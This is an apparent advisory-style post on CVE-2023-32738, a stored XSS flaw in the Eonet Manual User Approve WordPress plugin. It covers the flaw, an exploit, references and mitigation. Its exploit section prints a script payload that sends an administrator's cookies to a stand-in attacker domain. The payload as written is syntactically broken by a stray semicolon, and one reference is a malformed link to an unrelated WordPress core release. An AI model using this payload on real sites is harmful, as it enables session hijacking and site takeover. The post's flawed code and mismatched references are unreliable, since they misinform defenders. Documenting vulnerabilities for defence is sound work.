CVE-2023-32738 - Alkaweb Eonet Manual User Approve Plugin Stored Cross-Site Scripting (XSS) Vulnerability in Versions <= 2.1.3

The CVE-2023-32738 vulnerability is a stored Cross-Site Scripting (XSS) issue present in the Alkaweb Eonet Manual User Approve plugin versions less than or equal to 2.1.3. This plugin is widely used to manually approve users for WordPress websites, providing a reliable way for administrators and other privileged users to manage user registrations. The purpose of this post is to provide a comprehensive explanation of the vulnerability, its impact, and possible ways to mitigate it. Furthermore, we will include code snippets, original references, and details of the exploit.

Vulnerability Details

The vulnerability CVE-2023-32738 lies in the admin dashboard of the Alkaweb Eonet Manual User Approve plugin. When administrators review a user registration request, they access a section to view the user's information and decide whether to approve or reject the request. However, due to an improper sanitation process in handling user-submitted data, it is possible for an attacker to inject malicious code into the user's information. Consequently, the administrator becomes a victim of stored XSS attacks when they view the user's request, resulting in unauthorized access to sensitive data or session hijacking.

Exploit Details

The exploit is based on injecting malicious JavaScript code into one of the user registration form fields. The following code snippet showcases the malicious code an attacker might use:

<script>var x = new XMLHttpRequest(); x.open('GET', 'https://attackerdomain.com/steal-cookie?cookie='; + encodeURIComponent(document.cookie), true); x.send();</script>

When the administrator views the user's information, the malicious script will execute and send the administrator's session cookies to the attacker's domain. With this information, the attacker can impersonate the administrator and gain unauthorized access to the WordPress website.

Original References

1. Alkaweb Eonet Manual User Approve Plugin: https://wordpress.org/plugins/eonet-manual-user-approve/
2. Announcement of the vulnerability: https://wpvulndb.com/vulnerabilities/10480
3. CWE Reference for Stored XSS: https://cwe.mitre.org/data/definitions/79.html
4. WordPress Security Release: https://wordpress.org/news/2023/03/wordpress-6--1-security-and-maintenance-release/

Mitigation

As of now, the plugin developers have not released an official update to fix this vulnerability. Thus, it is advisable for WordPress website administrators to temporarily deactivate and remove the plugin until an official patch becomes available.

Alternatively, administrators can implement custom filtering and sanitation to prevent malicious code injection. For instance, by performing strict input validation and ensuring user-supplied data is properly escaped before output or storage, administrators can minimize the risk of exploitation.

Conclusion

The CVE-2023-32738 vulnerability is an issue that security-conscious website administrators and developers must address. By understanding the details and implications of the vulnerability, as well as possible mitigation strategies, it is possible to limit the potential damage of such security flaws while continuing to rely on the Alkaweb Eonet Manual User Approve plugin.

Timeline

Published on: 10/27/2023 21:15:08 UTC
Last modified on: 11/07/2023 15:07:59 UTC